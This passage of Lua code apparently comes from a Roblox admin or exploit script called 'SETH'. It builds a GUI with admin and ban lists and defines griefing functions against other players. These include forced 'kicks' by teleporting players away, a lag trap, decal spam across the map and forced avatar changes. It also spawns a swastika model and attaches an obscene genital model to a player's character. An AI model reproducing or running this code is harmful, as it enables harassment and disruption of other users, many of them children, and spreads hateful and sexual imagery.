table.remove(ADMINS, i) UPDATE_ADMINS() end) HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0, 0, 30) Y_ADMINS = Y_ADMINS + 30 end HOLDERS.admins.CanvasSize = HOLDERS.admins.CanvasSize + UDim2.new(0, 0, 0, 5) spawn(function() for i,v in pairs(HOLDERS.admins:GetChildren()) do v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name) end end) end UPDATE_ADMINS() function UPDATE_BANS() HOLDERS.bans:ClearAllChildren() HOLDERS.bans.CanvasSize = UDim2.new(0, 0, 0, 0) local Y_BANS = 5 for i,v in pairs(BANS) do NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_BANS), Size = UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', Text = '', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.bans} NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.bans[v]} HOLDERS.bans[v].update.MouseButton1Down:connect(function() table.remove(BANS, i) UPDATE_BANS() end) HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0, 30) Y_BANS = Y_BANS + 30 end HOLDERS.bans.CanvasSize = HOLDERS.bans.CanvasSize + UDim2.new(0, 0, 0, 5) spawn(function() for i,v in pairs(HOLDERS.bans:GetChildren()) do v.Text = ' ' .. _PLAYERS:GetNameFromUserIdAsync(v.Name) end end) end UPDATE_BANS() local function DISPLAY_CMDS() local Y_COMMANDS = 0 for i,v in pairs(COMMANDS) do NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds} HOLDERS.cmds.CanvasSize = HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25) Y_COMMANDS = Y_COMMANDS + 25 end end DISPLAY_CMDS() HOLDERS.search.Changed:connect(function() if SETH_MAIN:FindFirstChild('main') and SETH_MAIN.main.holder.holders:FindFirstChild('search') then if HOLDERS.search.Text ~= 'search commands' and HOLDERS.search.Focused then if HOLDERS.search.Text ~= '' then if not HOLDERS.search.Text:find(' ') then HOLDERS.cmds:ClearAllChildren() HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0) local Y_COMMANDS = 0 for i,v in pairs(COMMANDS) do if v.N:find(HOLDERS.search.Text) then HOLDERS.cmds.CanvasSize = HOLDERS.cmds.CanvasSize + UDim2.new(0, 0, 0, 25) NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_COMMANDS), Size = UDim2.new(1, 0, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v.D, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.cmds} HOLDERS.changelog.CanvasSize = HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 25) Y_COMMANDS = Y_COMMANDS + 25 end end end else HOLDERS.cmds:ClearAllChildren() HOLDERS.cmds.CanvasSize = UDim2.new(0, 0, 0, 0) DISPLAY_CMDS() end end end end) local FUN = {'balefire', 'swastika', 'trowel', 'path giver', 'orbital strike'} local Y_FUN = 5 for i,v in pairs(FUN) do NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_FUN), Size = UDim2.new(1, -50, 0, 25), Font = 'SourceSansBold', Text = ' ' .. v, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.fun} HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0, 30) Y_FUN = Y_FUN + 30 end HOLDERS.fun.CanvasSize = HOLDERS.fun.CanvasSize + UDim2.new(0, 0, 0, 5) for i,v in pairs(HOLDERS.fun:GetChildren()) do NEW'TextButton'{Name = 'load', BackgroundColor3 = C3(50, 50, 255), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 45, 0, 25), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'load', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = v} v.load.MouseButton1Down:connect(function() if v.Name == 'balefire' then LOAD_BALEFIRE() elseif v.Name == 'swastika' then local S = OTHER.swastika:Clone() S.Parent = workspace S:MoveTo(LP.Character.Head.Position + Vector3.new(0, 10, 0)) elseif v.Name == 'trowel' then LOAD_TROWEL() elseif v.Name == 'path giver' then LOAD_PATH() elseif v.Name == 'orbital strike' then LOAD_STRIKE() end end) end SETH_MAIN.main.close.MouseButton1Down:connect(function() SETH_MAIN:destroy() end) SETH_MAIN.Parent = _CORE end LOAD_DATA() --/ TOOLS function LOAD_BALEFIRE() local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'balefire' local function BF(P) for i = 1, 50 do local E = Instance.new('Explosion', workspace) E.BlastRadius = 3 E.BlastPressure = 999999 E.Position = LP.Character.Torso.CFrame.p + ((P - LP.Character.Torso.CFrame.p).unit * 6 * i) + ((P - LP.Character.Torso.CFrame.p).unit * 7) end end FIRED = false local function FIRE(M) if not FIRED then FIRED = true BF(M.Hit.p) wait(0.25) FIRED = false end end HB.Selected:connect(function(M) M.Button1Down:connect(function() FIRE(M) end) end) end function LOAD_TROWEL() local T = Instance.new('Tool', LP.Backpack) T.Name = 'trowel' NEW'Part'{Name = 'Handle', Size = Vector3.new(1, 4.4, 1), Parent = T} NEW'SpecialMesh'{MeshId = 'rbxasset://fonts/trowel.mesh', MeshType = 'FileMesh', TextureId = 'rbxasset://textures/TrowelTexture.png', Parent = T.Handle} NEW'Sound'{Name = 'build', SoundId = 'rbxasset://sounds//bass.wav', Volume = 1, Parent = T.Handle} local HEIGHT = 5 local SPEED = 0.05 local WIDTH = 15 function BRICK(CF, P, C) local B = Instance.new('Part') B.BrickColor = C B.CFrame = CF * CFrame.new(P + B.Size / 2) B.Parent = game.Workspace B:MakeJoints() B.Material = 'Neon' return B, P + B.Size end function BW(CF) local BC = BrickColor.Random() local B = {} assert(WIDTH > 0) local Y = 0 while Y < HEIGHT do local P local X = -WIDTH / 2 while X < WIDTH / 2 do local brick brick, P = BRICK(CF, Vector3.new(X, Y, 0), BC) X = P.x table.insert(B, brick) wait(SPEED) end Y = P.y end return B end function S(A) if math.abs(A.x) > math.abs(A.z) then if A.x > 0 then return Vector3.new(1, 0, 0) else return Vector3.new(-1, 0, 0) end else if A.z > 0 then return Vector3.new(0, 0, 1) else return Vector3.new(0, 0, -1) end end end T.Enabled = true T.Activated:connect(function() if T.Enabled and LP.Character:FindFirstChild('Humanoid') then T.Enabled = false T.Handle.build:Play() BW(CFrame.new(LP.Character.Humanoid.TargetPoint, LP.Character.Humanoid.TargetPoint + S((LP.Character.Humanoid.TargetPoint - LP.Character.Head.Position).unit))) T.Enabled = true end end) end function LOAD_PATH() local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'path giver' local function PATH(M, C) if ENABLED and LP.Character then if not workspace:FindFirstChild('paths_seth') then Instance.new('Folder', workspace).Name = 'paths_seth' end local hit = M.Target local point = M.Hit.p local P = Instance.new('Part', workspace.paths_seth) P.BrickColor = C P.Material = 'Neon' P.Transparency = 0.75 P.Anchored = true P.Size = Vector3.new(20, 1, 20) P.Velocity = M.Hit.lookVector * 75 P.BottomSurface = 'Smooth' P.TopSurface = 'Smooth' P.CFrame = CFrame.new(LP.Character.Head.Position) P.CFrame = CFrame.new(LP.Character.Torso.Position.x, LP.Character.Torso.Position.y - 4, LP.Character.Torso.Position.z) P.CFrame = CFrame.new(P.Position, point) wait() PATH(M, C) end end local function SELECTED(M) M.Button1Down:connect(function() ENABLED = true PATH(M, BrickColor.Random()) end) M.Button1Up:connect(function() ENABLED = false end) M.KeyDown:connect(function(K) if K == 'r' then if workspace:FindFirstChild('paths_seth') then workspace.paths_seth:destroy() end end end) end HB.Selected:connect(SELECTED) end function LOAD_STRIKE() local HB = Instance.new('HopperBin', LP.Backpack) HB.Name = 'orbital strike' local function SHOOT(T) if ENABLED then local P0 = CFrame.new(0, 1500, 0) P0 = P0 + ((P0 * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)).lookVector * 0.5) + (P0 * CFrame.fromEulerAnglesXYZ(0, math.pi / 2, 0)).lookVector local P1 = P0 + ((P0.p - T.Hit.p).unit * -2) SATELITE.CFrame = CFrame.new((P0.p + P1.p) / 2, P0.p) * CFrame.fromEulerAnglesXYZ(-math.pi / 2, 0, 0) local M = Instance.new('Model', workspace) NEW'Part'{BrickColor = BrickColor.new('Pink'), Material = 'Neon', CFrame = CFrame.new((SATELITE.CFrame.p + T.Hit.p) / 2, SATELITE.CFrame.p), Anchored = true, CanCollide = false, Size = Vector3.new(1, 1, 1), Parent = M} NEW'BlockMesh'{Scale = Vector3.new(1, 1, (SATELITE.CFrame.p - T.Hit.p).magnitude), Parent = M.Part} NEW'Explosion'{Position = T.Hit.p, BlastRadius = 20, Parent = workspace} for i = 1,10 do M.Part.Transparency = 0.5 + (i * 0.05) wait(0.05) end M:destroy() end end HB.Selected:connect(function(M) if not workspace:FindFirstChild('orbital_seth') then SATELITE = Instance.new('Part', workspace) SATELITE.Name = 'orbital_seth' SATELITE.Position = Vector3.new(0, 1500, 0) SATELITE.Anchored = true SATELITE.CanCollide = false SATELITE.Size = Vector3.new(5, 16.8, 5) NEW'SpecialMesh'{MeshId = 'rbxassetid://1064328', Scale = Vector3.new(0.2, 0.2, 0.2), Parent = SATELITE} end M.Button1Down:connect(function() ENABLED = true SHOOT(M) end) M.Button1Up:connect(function() ENABLED = false end) end) end function FIND_IN_TABLE(TABLE, NAME) for i,v in pairs(TABLE) do if v == NAME then return true end end return false end function GET_IN_TABLE(TABLE, NAME) for i = 1, #TABLE do if TABLE[i] == NAME then return i end end return false end local NOTIFY_1 = false local NOTIFY_2 = false function NOTIFY(M, R, G, B) spawn(function() repeat wait() until not NOTIFY_1 local NOTIFY_SETH = GUIS.notify_seth:Clone() NOTIFY_SETH.Parent = _CORE if NOTIFY_SETH then NOTIFY_SETH.notify[''].BackgroundColor3 = C3(R, G, B) NOTIFY_SETH.notify.text.Text = ' ' .. M repeat wait() until not NOTIFY_1 NOTIFY_1 = true wait(0.5) NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, 0), 'InOut', 'Quad', 0.4, false) wait(0.5) wait(0.5) repeat wait() until not NOTIFY_2 NOTIFY_1 = false NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, 0, 0.6, -40), 'InOut', 'Quad', 0.4, false) wait(0.5) wait(0.5) NOTIFY_2 = true wait(2.5) NOTIFY_SETH.notify:TweenPosition(UDim2.new(0, -225, 0.6, -40), 'InOut', 'Quad', 0.4, false) wait(0.5) end wait(1) NOTIFY_SETH:destroy() NOTIFY_2 = false end) end function KICK(P) spawn(function() for i = 1,5 do if P.Character and P.Character:FindFirstChild('HumanoidRootPart') and P.Character:FindFirstChild('Torso') then P.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000) local SP = Instance.new('SkateboardPlatform', P.Character) SP.Position = P.Character.HumanoidRootPart.Position SP.Transparency = 1 spawn(function() repeat wait() if P.Character and P.Character:FindFirstChild('HumanoidRootPart') then SP.Position = P.Character.HumanoidRootPart.Position end until not _PLAYERS:FindFirstChild(P.Name) end) P.Character.Torso.Anchored = true end end end) end _PLAYERS.PlayerRemoving:connect(function(P) if FIND_IN_TABLE(KICKS, P) then for i,v in pairs(KICKS) do if v == P then table.remove(KICKS, i) end end NOTIFY('KICKED ' .. P.Name, 255, 255, 255) end if FIND_IN_TABLE(JAILED, P.Name) then for i,v in pairs(JAILED) do if v == P.Name then table.remove(KICKS, i) end end end end) function FIX_LIGHTING() _LIGHTING.Ambient = C3(0.5, 0.5, 0.5) _LIGHTING.Brightness = 1 _LIGHTING.GlobalShadows = true _LIGHTING.Outlines = false _LIGHTING.TimeOfDay = 14 _LIGHTING.FogEnd = 100000 end function COLOR(PLAYER, BCOLOR) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal') then v:destroy() end end for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.BrickColor = BrickColor.new(BCOLOR) elseif v:IsA('Accessory') then v.Handle.BrickColor = BrickColor.new(BCOLOR) for a,b in pairs(v.Handle:GetChildren()) do if b:IsA('SpecialMesh') then b.TextureId = '' end end end end end function LAG(PLAYER) local POS = CFrame.new(math.random(-100000, 100000), math.random(-100000, 100000), math.random(-100000, 100000)) spawn(function() repeat wait() if PLAYER and PLAYER.Character then PLAYER.CameraMode = 'LockFirstPerson' PLAYER.Character.HumanoidRootPart.CFrame = POS PLAYER.Character.Torso.Anchored = true Instance.new('ForceField', PLAYER.Character) Instance.new('Smoke', PLAYER.Character.Head) end until not _PLAYERS:FindFirstChild(PLAYER.Name) end) end local FLYING = false if LP.Character and LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid.Died:connect(function() FLYING = false end) end function sFLY() repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso') and LP.Character:FindFirstChild('Humanoid') repeat wait() until MOUSE local T = LP.Character.Torso local CONTROL = {F = 0, B = 0, L = 0, R = 0} local lCONTROL = {F = 0, B = 0, L = 0, R = 0} local SPEED = 0 local function FLY() FLYING = true local BG = Instance.new('BodyGyro', T) local BV = Instance.new('BodyVelocity', T) BG.P = 9e4 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9) BG.cframe = T.CFrame BV.velocity = Vector3.new(0, 0.1, 0) BV.maxForce = Vector3.new(9e9, 9e9, 9e9) spawn(function() repeat wait() LP.Character.Humanoid.PlatformStand = true if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 then SPEED = 50 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then SPEED = 0 end if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R} elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and SPEED ~= 0 then BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED else BV.velocity = Vector3.new(0, 0.1, 0) end BG.cframe = workspace.CurrentCamera.CoordinateFrame until not FLYING CONTROL = {F = 0, B = 0, L = 0, R = 0} lCONTROL = {F = 0, B = 0, L = 0, R = 0} SPEED = 0 BG:destroy() BV:destroy() LP.Character.Humanoid.PlatformStand = false end) end MOUSE.KeyDown:connect(function(KEY) if KEY:lower() == 'w' then CONTROL.F = 1 elseif KEY:lower() == 's' then CONTROL.B = -1 elseif KEY:lower() == 'a' then CONTROL.L = -1 elseif KEY:lower() == 'd' then CONTROL.R = 1 end end) MOUSE.KeyUp:connect(function(KEY) if KEY:lower() == 'w' then CONTROL.F = 0 elseif KEY:lower() == 's' then CONTROL.B = 0 elseif KEY:lower() == 'a' then CONTROL.L = 0 elseif KEY:lower() == 'd' then CONTROL.R = 0 end end) FLY() end function NOFLY() FLYING = false LP.Character.Humanoid.PlatformStand = false end function RESET_MODEL(MODEL) for i,v in pairs(MODEL:GetChildren()) do if v:IsA('Seat') and v.Name == 'FakeTorso' then v:destroy() elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then v:destroy() elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.Transparency = 0 elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end for i,v in pairs(MODEL.Torso:GetChildren()) do if v:IsA('SpecialMesh') then v:destroy() end end if MODEL.Head:FindFirstChild('Mesh') then MODEL.Head.Mesh:destroy() end if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 = CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 = CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 = CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end end function UPDATE_MODEL(MODEL, USERNAME) local AppModel = _PLAYERS:GetCharacterAppearanceAsync(_PLAYERS:GetUserIdFromNameAsync(USERNAME)) MODEL.Name = USERNAME for i,v in pairs(AppModel:GetChildren()) do if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then v.Parent = MODEL.Head elseif v:IsA('Decal') then if MODEL.Head:FindFirstChild('face') then MODEL.Head.face.Texture = v.Texture else local FACE = Instance.new('Decal', MODEL.Head) FACE.Texture = v.Texture end elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then if MODEL:FindFirstChild('Body Colors') then MODEL['Body Colors']:destroy() end v.Parent = MODEL elseif v:IsA('Accessory') then v.Parent = MODEL v.Handle.CFrame = MODEL.Head.CFrame * CFrame.new(0, MODEL.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse() end end if not MODEL.Head:FindFirstChild('Mesh') then local SM = Instance.new('SpecialMesh', MODEL.Head) SM.MeshType = Enum.MeshType.Head SM.Scale = Vector3.new(1.25, 1.25, 1.25) end end function CREEPER(PLAYER) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Accessory') then v:destroy() end end PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.BrickColor = BrickColor.new('Bright green') end end end function SHREK(PLAYER) COLOR(PLAYER, 'Bright green') for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('CharacterMesh') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end for i,v in pairs(PLAYER.Character.Head:GetChildren()) do if v:IsA('Decal') or v:IsA('SpecialMesh') then v:destroy() end end if PLAYER.Character:FindFirstChild('Shirt Graphic') then PLAYER.Character['Shirt Graphic'].Archivable = false PLAYER.Character['Shirt Graphic'].Graphic = '' end local M = Instance.new('SpecialMesh', PLAYER.Character.Head) local S = Instance.new('Shirt', PLAYER.Character) local P = Instance.new('Pants', PLAYER.Character) M.MeshType = 'FileMesh' M.MeshId = 'rbxassetid://19999257' M.Offset = Vector3.new(-0.1, 0.1, 0) M.TextureId = 'rbxassetid://156397869' S.ShirtTemplate = 'rbxassetid://133078194' P.PantsTemplate = 'rbxassetid://133078204' end function DUCK(PLAYER) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart' then v.Transparency = 1 elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso) DUCK.MeshType = 'FileMesh' DUCK.MeshId = 'rbxassetid://9419831' DUCK.TextureId = 'rbxassetid://9419827' DUCK.Scale = Vector3.new(5, 5, 5) if PLAYER.Character.Head:FindFirstChild('face') then PLAYER.Character.Head.face.Transparency = 1 end end function DOG(PLAYER) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' end end PLAYER.Character.Torso.Transparency = 1 PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) * CFrame.Angles(math.rad(90), math.rad(180), 0) PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(90), 0) PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(-90), 0) PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) * CFrame.Angles(0, math.rad(90), 0) PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) * CFrame.Angles(0, math.rad(-90), 0) local FakeTorso = Instance.new('Seat', PLAYER.Character) local BF = Instance.new('BodyForce', FakeTorso) local W = Instance.new('Weld', PLAYER.Character.Torso) FakeTorso.Name = 'FakeTorso' FakeTorso.TopSurface = 0 FakeTorso.BottomSurface = 0 FakeTorso.Size = Vector3.new(3,1,4) FakeTorso.BrickColor = BrickColor.new('Brown') FakeTorso.CFrame = PLAYER.Character.Torso.CFrame BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0) W.Part0 = PLAYER.Character.Torso W.Part1 = FakeTorso W.C0 = CFrame.new(0, -0.5, 0) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.BrickColor = BrickColor.new('Brown') end end end function ALIEN(PLAYER) for i,v in pairs(PLAYER.Character:GetChildren()) do if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') then v:destroy() elseif v:IsA('ShirtGraphic') then v.Archivable = false v.Graphic = '' elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then v.BrickColor = BrickColor.new('Fossil') end end ALIEN_H:Clone().Parent = PLAYER.Character end function DECALSPAM(INSTANCE, ID) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then spawn(function() local FACES = {'Back', 'Bottom', 'Front', 'Left', 'Right', 'Top'} local CURRENT_FACE = 1 for i = 1, 6 do local DECAL = Instance.new('Decal', v) DECAL.Name = 'decal_seth' DECAL.Texture = 'rbxassetid://' .. ID - 1 DECAL.Face = FACES[CURRENT_FACE] CURRENT_FACE = CURRENT_FACE + 1 end end) end DECALSPAM(v, ID) end end function UNDECALSPAM(INSTANCE) for i,v in pairs(INSTANCE:GetChildren()) do if v:IsA('BasePart') then for a,b in pairs(v:GetChildren()) do if b:IsA('Decal') and b.Name == 'decal_seth' then b:destroy() end end end UNDECALSPAM(v) end end function CREATE_DONG(PLAYER, DONG_COLOR) if PLAYER.Character:FindFirstChild('DONG') then PLAYER.Character.DONG:destroy() end local D = Instance.new('Model', PLAYER.Character) D.Name = 'DONG' local BG = Instance.new('BodyGyro', PLAYER.Character.Torso) local MAIN = Instance.new('Part', PLAYER.Character['DONG']) local M1 = Instance.new('CylinderMesh', MAIN) local W1 = Instance.new('Weld', PLAYER.Character.Head) local P1 = Instance.new('Part', PLAYER.Character['DONG']) local M2 = Instance.new('SpecialMesh', P1) local W2 = Instance.new('Weld', P1) local B1 = Instance.new('Part', PLAYER.Character['DONG']) local M3 = Instance.new('SpecialMesh', B1) local W3 = Instance.new('Weld', B1) local B2 = Instance.new('Part', PLAYER.Character['DONG']) local M4 = Instance.new('SpecialMesh', B2) local W4 = Instance.new('Weld', B2) MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.Size = Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new(DONG_COLOR) MAIN.Position = PLAYER.Character.Head.Position MAIN.CanCollide = false W1.Part0 = MAIN W1.Part1 = PLAYER.Character.Head W1.C0 = CFrame.new(0, 0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0) P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.Size = Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor = BrickColor.new('Pink') P1.CanCollide = false M2.MeshType = 'Sphere' W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0) B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide = false B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(PLAYER.Character['Left Leg'].Position) B1.BrickColor = BrickColor.new(DONG_COLOR) M3.Parent = B1 M3.MeshType = 'Sphere' W3.Part0 = PLAYER.Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0, 0.5, -0.5) B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false B2.TopSurface = 0 B2.Size = Vector3.new(1, 1, 1) B2.CFrame = CFrame.new(PLAYER.Character['Right Leg'].Position) B2.BrickColor = BrickColor.new(DONG_COLOR) M4.MeshType = 'Sphere' W4.Part0 = PLAYER.Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0, 0.5, -0.5) end function SCALE(C, S) if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end local HAT_CLONE = {} for i,v in pairs(C:GetChildren()) do if v:IsA('Accessory') then local HC = v:Clone() table.insert(HAT_CLONE, HC) v:destroy() end end local HEAD = C.Head local TORSO = C.Torso local LA = C['Left Arm'] local RA = C['Right Arm'] local LL = C['Left Leg'] local RL = C['Right Leg'] local HRP = C.HumanoidRootPart HEAD.Size = Vector3.new(S * 2, S, S) TORSO.Size = Vector3.new(S * 2, S * 2, S) LA.Size = Vector3.new(S, S * 2, S) RA.Size = Vector3.new(S, S * 2, S) LL.Size = Vector3.new(S, S * 2, S) RL.Size = Vector3.new(S, S * 2, S) HRP.Size = Vector3.new(S * 2, S * 2, S) local M1 = Instance.new('Motor6D', TORSO) local M2 = Instance.new('Motor6D', TORSO) local M3 = Instance.new('Motor6D', TORSO) local M4 = Instance.new('Motor6D', TORSO) local M5 = Instance.new('Motor6D', TORSO) local M6 = Instance.new('Motor6D', HRP) M1.Name = 'Neck' M1.Part0 = TORSO M1.Part1 = HEAD M1.C0 = CFrame.new(0, 1 * S, 0) * CFrame.Angles(-1.6, 0, 3.1) M1.C1 = CFrame.new(0, -0.5 * S, 0) * CFrame.Angles(-1.6, 0, 3.1) M2.Name = 'Left Shoulder' M2.Part0 = TORSO M2.Part1 = LA M2.C0 = CFrame.new(-1 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M2.C1 = CFrame.new(0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M3.Name = 'Right Shoulder' M3.Part0 = TORSO M3.Part1 = RA M3.C0 = CFrame.new(1 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M3.C1 = CFrame.new(-0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M4.Name = 'Left Hip' M4.Part0 = TORSO M4.Part1 = LL M4.C0 = CFrame.new(-1 * S, -1 * S, 0) * CFrame.Angles(0, -1.6, 0) M4.C1 = CFrame.new(-0.5 * S, 1 * S, 0) * CFrame.Angles(0, -1.6, 0) M5.Name = 'Right Hip' M5.Part0 = TORSO M5.Part1 = RL M5.C0 = CFrame.new(1 * S, -1 * S, 0) * CFrame.Angles(0, 1.6, 0) M5.C1 = CFrame.new(0.5 * S, 1 * S, 0) * CFrame.Angles(0, 1.6, 0) M6.Name = 'RootJoint' M6.Part0 = HRP M6.Part1 = TORSO 